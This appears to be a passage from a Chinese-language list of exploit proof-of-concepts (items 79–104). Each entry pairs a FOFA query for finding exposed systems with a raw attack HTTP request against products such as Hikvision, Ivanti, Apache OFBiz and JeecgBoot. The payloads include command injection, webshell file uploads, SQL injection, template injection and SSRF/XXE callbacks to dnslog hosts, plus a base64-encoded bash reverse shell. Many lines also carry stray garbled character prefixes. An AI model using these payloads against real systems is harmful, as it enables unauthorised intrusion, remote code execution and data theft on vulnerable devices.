- q' K% R, m: m1 h5 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 t) D# q0 H( n8 zConnection: close
/ V0 d7 Z0 q3 h: i5 }Content-Length: 336
# g8 W' k) \/ x: v# M  c+ O3 \0 v  eAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

4 B- A9 t3 x; R9 R3 P$ O7 P------YsOxWxSvj1KyZow1PTsh98fdu6l
& e5 A* N* F" L: u& vContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
7 Y- K+ X/ w* y9 L4 r. gContent-Type: image/png

8 p) c& a' x/ r7 X1 p2 AYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
9 g# T7 k1 l- q& |# \' N
/Applications/SkillDevelopAndEHS/
! Y+ o4 F, h4 ^7 T& M4 h------YsOxWxSvj1KyZow1PTsh98fdu6l--
8 q1 p3 v9 L, G% o* E* U

, t6 o4 R2 D  j' G, S, p' zGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
3 Q+ K1 z. ]+ \# @9 K
. E- W; N6 W8 \
3 r2 ^- h, v! N! y; R4 g- j) z79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
* S! c% j+ M. w$ Q3 V1 {6 n& P0 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 d' x4 K$ M/ q8 G$ KAccept-Encoding: gzip, deflate
3 }' W1 W5 Y, U0 E; jConnection: close
Upgrade-Insecure-Requests: 1
' `" D9 ^( r- s; F+ P

' f1 I# f0 u* \) g3 r3 |0 t" `80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
) V: m% @7 h: }: Z0 K. ~0 H" QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( J+ q' O3 ~, B; G. z1 oContent-Length: 27
" C; n+ z" s- VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; r1 A$ t8 `& L% J6 a  c. {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) ^; I5 S% O, ^1 S8 MConnection: close
* I2 k3 y3 L3 ?& B7 g8 r5 h* V( KContent-Type: application/octet-stream
7 C3 Y7 a1 j( D. @* T+ o7 R" V2 }Upgrade-Insecure-Requests: 1
1 ~- U1 J, p+ c  w' D1 l  Q
$ N& R* l7 a8 y' h5 j5 {5 s& S3 E( |$ S<% out.print("oessqeonylzaf");%>
  p* u7 K$ e; _) J) U7 p( t

GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: ?3 S. ?4 j' X9 x0 U1 DConnection: close
Accept-Encoding: gzip


) r/ D# [' N3 K( W8 ]81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
9 q, g3 l' S$ ~& ~FOFA：app="uniview-视频监控"
- ^/ H0 k5 z- G; l* ]GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
' q5 T; _0 \; x: B0 F; P" T1 mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& c0 f, |( s2 {9 pConnection: close
. v# O5 m/ b! }Accept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
/ ~9 |0 `( ^( p1 ^FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

* [/ B& W' t6 [3 [6 G/ iz1=1&z2="|id;"&z3=bhost

8 {$ S. m  b4 E6 A- W8 R5 v9 \- h
83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
$ {, Y* K' z; V9 G% E

* a' g8 u  q9 W7 I! c- T$ K+ R% o( z& jPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 H1 y& s& X% g* m% i/ a6 h! hConnection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

. n0 k" e. a* K& ~" m& a4 h7 mPAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
4 ~& W+ h' w/ k! L; l( jFOFA：title=="JeecgBoot 企业级低代码平台"


% C% W) R* m) [5 k+ m
) c4 ]8 R0 z) D; o8 T5 n& ?POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
8 x' e! l  }/ w0 |9 C5 rHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
$ ^9 u3 C3 i! Z9 B' Y, LAccept: */*
Connection: close
Content-Type: application/json
2 y5 I1 ^% ]1 S" W& ]' m% F+ B- hAccept-Encoding: gzip
3 `8 x7 N& S/ W/ ?
+ t- e8 Y+ p; c* Z( R{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
# Z2 B' l4 Z8 q* ]

85. SysAid On-premise< 23.3.36远程代码执行
) w$ m% W+ K3 o! R1 bCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
- W2 x0 W" _% t2 b' FEXP数据包如下，注入哥斯拉马
* X7 f  s8 I. ~0 m4 J% `1 uPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
* a& t# q. n( z3 I6 zHost: x.x.x.x
: t* \' ^; E0 s1 C8 [2 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 b! d# _8 X3 w* N% Z# GContent-Type: application/octet-stream
2 H1 i' \! {" z9 w6 \6 \Accept-Encoding: gzip
3 a# z0 x2 u* j. }# h5 L
PAYLOAD
+ y* Z7 k/ z+ s6 h
0 A+ l/ |4 N3 W% `回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
6 y& n/ F) l  f6 m5 s4 a8 {% V. UPOST /cgi-bin/network_test.php HTTP/1.1
1 O$ S! {4 L4 ^2 K* iHost: x.x.x.x
! t3 c5 t& @7 W' V  b* xUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
2 a& x$ |; ?" {/ Y+ d- \6 ~9 V0 fAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

4 W9 I# O2 B0 Hhost=%0acat${IFS}/etc/passwd%0a&command=ping
$ z* ?9 a  U! T. {

87. 安恒明御安全网关aaa_local_web_preview文件上传
4 Y, G9 G5 y/ m; i# _8 r  hFOFA：title="明御安全网关"
* {7 i; A& N! n0 R6 l& aPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
; ?! ^  W2 U" O8 p# k. N1 b+ oHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
  T; q8 Y) f8 I! fContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

7 R5 G) i1 v% N; L; e2 J--qqobiandqgawlxodfiisporjwravxtvd
; j8 ~2 f8 g" s, @  l+ RContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
2 c% W( J3 k  CContent-Type: text/plain
( H) K  e- f# k7 F; T- R. S9 [6 R
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

4 m9 z! S3 k0 I! a: l4 p) p
/jfhatuwe.php
* R% B. ^0 K! p4 l
, G+ y9 H3 C& V, O5 e; ]88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
) z' @1 Q8 S0 aHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: t1 a+ ^5 [" _6 b* h! n5 z; l3 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& H4 {1 n3 ~2 h  {  g% ?Connection: close
- B9 d6 ~7 T/ c& D! ~
, a! R. e7 ]* e' ~' J
/astdfkhl.php
4 C1 s2 ]4 R1 D! l6 V  J2 s6 ?
89. 致远互联FE协作办公平台editflow_manager存在sql注入
( z  J* O$ ^2 J9 ^9 KFOFA：title="FE协作办公平台" || body="li_plugins_download"
" g2 C+ o. i9 S3 oPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
) O# a3 [2 l4 ~2 d# kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 p2 |9 z! I$ k4 d7 V/ i; M5 ~0 gConnection: close
Content-Length: 41
! i- o/ a% \# R0 ]! f: P  _- dContent-Type: application/x-www-form-urlencoded
% Z5 ^6 Y' o* K9 y: c& JAccept-Encoding: gzip
4 E0 K, B+ n2 t' a
option=2&GUID=-1'+union+select+111*222--+
; {- Q; I  T9 V; ~

6 M" q/ n1 b, d, v/ V90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
6 }) j( V. i7 ]( V0 I9 Y/ B* nFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
$ t" ]) M# j9 i# L6 M( I6 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
; x; X  l4 P9 i3 W! SAccept: application/json, text/javascript, */*; q=0.01
. A; N& l/ b% u8 ?. w3 r  }  S3 q9 [  {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
+ c$ Q' W& |: M2 WContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
( U. [; ?; B: R% a( i0 e6 M; d' n
- d- U" J) T9 r- q* ?2 ]. k- ~jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

/ U3 w# B& U* s! f& H4 d- ~( C+ @
  @( _2 N1 V; ~" i91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
5 K+ c6 {  [4 k1 N& D6 lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
1 o' A0 N" v: _7 w) D, YConnection: keep-alive

3 I( c- R: M9 e& h7 r

) x3 Z  |& J+ o9 `: S8 n# P, k6 d: e7 V92. 海康威视运行管理中心session命令执行
2 X' z% o1 N) K! ]8 qFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
2 l5 v# l% S! L( m$ ?Accept: application/json, text/plain, */*
' [7 v8 P, a6 {3 j1 i7 ]( SAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
6 E$ ]- |' J# K$ s; @6 a6 e; PContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
0 \  g0 l. D) {9 Q+ A, i0 C, GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
" b7 H' R" H8 ~/ a- }" CContent-Length: 5778
: r7 X- R! i) e+ W; W+ G+ W. T
PAYLOAD
4 H. B. U9 O7 q, L
: ]6 P5 ^5 L' M! n! l+ T
& _" {1 x3 C* c- |93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
/ }, }) M: x' U( yHost: x.x.x.x
+ h1 j; r2 M& ^  c! E5 aContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# _: A/ R* d# Y! L
------WebKitFormBoundarykcbkgdfx
' l" E/ k6 L5 q6 T; |% N4 dContent-Disposition: form-data; name="MAX_FILE_SIZE"
5 n; b& ?. s! D; U# S7 Y8 L* I0 I. ^
" }( O# C) Q1 t+ A10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
( p# `0 Z  @3 p7 IContent-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
  n% P$ _, D" u5 l2 A9 R1 {------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
5 N$ G% x' d* s" R% A
, `# d' M' J0 q8 s- jobj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
! _* o- E* h/ S
0b9d6b1ab7479ab69d9f71b05e0e9445
1 h, x: B# M4 n  U( t/ O------WebKitFormBoundarykcbkgdfx--

" r3 Z$ N9 ~) f$ \
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
6 A) u$ {7 a3 EPOST /?g=obj_area_import_save HTTP/1.1
$ y4 q, |( }- C6 ~+ W  lHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
9 H: F  d2 W2 w9 S
0 o; ?9 x# }1 O8 X4 R3 `! E; |------WebKitFormBoundarybqvzqvmt
/ T& z: F4 W5 ]1 n8 y' ?Content-Disposition: form-data; name="MAX_FILE_SIZE"
1 o4 ]7 V6 O8 p* u& o) _
10000000
. }6 x7 e( A  Q9 f" y- y------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
* B8 }; t% r, P5 T- E1 e
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

% a; K5 U6 I# d3 {* h1 ^

0 o" s2 B) k1 U/ g0 N0 F9 C; F+ a! _GET /attachements/xlskxknxa.txt HTTP/1.1
, D7 c9 u8 z3 A2 \- C. g! A4 k  XHost: xx.xx.xx.xx
/ u/ r1 o4 C5 f: h4 eUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

- f3 T4 E# N" h& S7 h4 r

8 f5 Y* e" u  V& o95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
( t7 I4 s( p; C& S5 U" mCVE-2023-49070
FOFA：app="Apache_OFBiz"
; R6 q# i& g0 G3 A/ Y5 L6 {: HPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
- y$ c: r/ n* \; W9 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
. I* d# `* y" \3 W6 fConnection: close
/ W9 x2 p. ?/ s9 T0 |Content-Length: 889
" Y7 w# N' N% ~7 N, LContent-Type: application/xml
8 P7 F9 X# L& {  \3 E3 _$ DAccept-Encoding: gzip
$ a! p0 [- B+ Q4 g, s
4 O# ]& c' _$ W' f0 V<?xml version="1.0"?>
5 }( c. N1 B7 L9 `& ?' u$ u* q<methodCall>
$ E5 S6 F0 C( _4 Z   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
' p) a) o7 i5 o' g' g: ]2 P+ e    <params>
      <param>
. B& k5 @6 h8 h/ @- @      <value>
4 u: C$ q3 }& V( |+ \( W3 n4 X. f# i        <struct>
( p  e/ x) w# Y; r3 N/ @       <member>
          <name>test</name>
/ A8 f4 U+ g' _  d5 u9 h9 ?          <value>
* H8 _" g  F4 U' S" m  F      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
  g* T9 W* g6 z- x3 I) Q        </member>
! r6 M' R" Z+ B      </struct>
( V, e4 Y; e! ~5 I* r6 b; H( n      </value>
    </param>
* k& M1 Z7 j1 H/ }    </params>
</methodCall>

0 ?8 R7 v2 Y8 C) U7 q
& f* x2 V' W& D0 U. x用ysoserial生成payload
3 c2 w6 h6 l" Q9 |- r2 N: wjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
( Y3 K& {( Z. Q7 c: \' XHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( H0 ?7 o* e9 [0 }) RConnection: close
Content-Length: 889
. ]& b7 [- J2 W0 o: C, R0 D' ^Content-Type: application/xml
Accept-Encoding: gzip
  T% J/ j; [$ l/ F+ B
" `1 B" }0 C! S6 E" R2 x  Z5 U3 wPAYLOAD
2 U: C. F3 L6 \. Z6 W0 f+ T
9 {3 n( c1 y8 T  S2 i1 F8 J. i2 A- f* Q96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
+ e& _4 Y7 \! g9 O2 _6 PPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
, f( l3 x5 ^3 ]: p# x- p" I4 f3 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ x7 F3 I0 h2 ~" X9 L/ ~, g4 d: ~Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

/ U0 b" @8 }1 G( [1 UgroovyProgram=throw+new+Exception('id'.execute().text);
1 H% T; j: S+ n6 \  ?; m( h. J
: X0 Z8 ~, m2 w9 e# ]$ |1 m
8 ?( ]- m( O. i7 U6 @反弹shell
% {" R/ k# K& p* H* _" B4 S" X在kali上启动一个监听
nc -lvp 7777

% x# c2 M, \4 ^8 s: X: B' wPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
5 C$ v- `) B0 S- T' W) {5 W% dHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; V% X- j. S+ \/ f2 kAccept: */*
6 T- b1 F: [8 L: E. PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 g+ B- d- J: z8 P4 c/ GContent-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
/ U3 B2 O, N: M) g/ gX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


5 z! N+ Q  r/ W8 e" x: V# N98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
5 i6 E( J, e) m; j& o) c0 yFOFA：app="SpiderFlow"
. m4 m& x! }: x; W# oPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
* c8 g& X; n$ ~; \1 R6 E* vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
7 @% Z2 _( A+ Q3 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
8 Z% \' |4 o* P, @& N" a
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

- K3 S9 k% k) H6 L% s
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
: p8 y. h5 X* ^! u0 BHost: 192.168.40.130:8080
  P, g( z# Z( w2 |+ e( IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# U. j7 U5 b9 x1 d2 I1 kConnection: close
% Y  l, q9 z$ d2 F( HContent-Length: 154
- s! n5 w, X5 t5 UAccept: */*
" J& u+ ?5 d" P+ R% F* i! k9 gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


9 m" Z) r& c* A3 J0 s, j' E0 l100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
) V* L( I8 A6 r; E5 kCVE-2024-0352
FOFA：icon_hash="874152924"
  c: K* |- w+ R" R+ X' EPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
+ w) t5 ?! B) W( x% a- pUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
: A! p' V0 x# rConnection: close
" V+ M2 [! `9 |. q# c8 X8 Z" EContent-Length: 201
, ?% A0 \, ]! n' PContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

! `- u# ]: m: e# Q$ j------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
" ?  Z% [# M7 |, |Content-Type: application/x-php

6 c- K0 X" ]- b3 W8 D2ayyhRXiAsKXL8olvF5s4qqyI2O
, @9 @3 X" K7 }& Z( Q9 t------WebKitFormBoundarygcflwtei--

4 u; X+ F! N+ t; r$ l2 W4 n. ]
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
% l$ m' w$ E' L* ^7 V9 A: G( z1 QFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 o) d. ]# }" Z3 Y3 YConnection: close
Accept-Encoding: gzip
9 ]3 D6 V* V9 J5 m6 E1 V
& {* m/ K% E0 a& ~6 [* v
3 `# i6 A( _, s) G5 d, X! g/ M2 \102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
: q% O+ @/ D$ s: d, X# KFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
; t# A: x' l1 |1 q" z9 C& bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
  [+ `  g- {3 [Accept-Encoding: gzip
* q9 q. f& f9 L% N
7 \) R! `- u( S/ F& a7 l- u<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
! {: p2 \2 W1 m  z) P% vHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
) z( K4 O  R; R5 {1 lConnection: close
" Z  j) B3 E+ VContent-Length: 204
Content-Type: application/x-www-form-urlencoded
, |6 f* o; v1 s) O# g% P  y0 ^Accept-Encoding: gzip
, t+ X& G8 Y2 W7 y9 g1 y
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


# U, Z! e% K, X9 E& ?: ^* Y- _& x其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


4 f: }, Y( R0 p$ Y# }3 W8 h. P104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
' |3 r+ Y( ]8 w7 L9 T6 |CVE-2024-0569
' q0 a) s2 j9 e5 HFOFA：title="TOTOLINK"
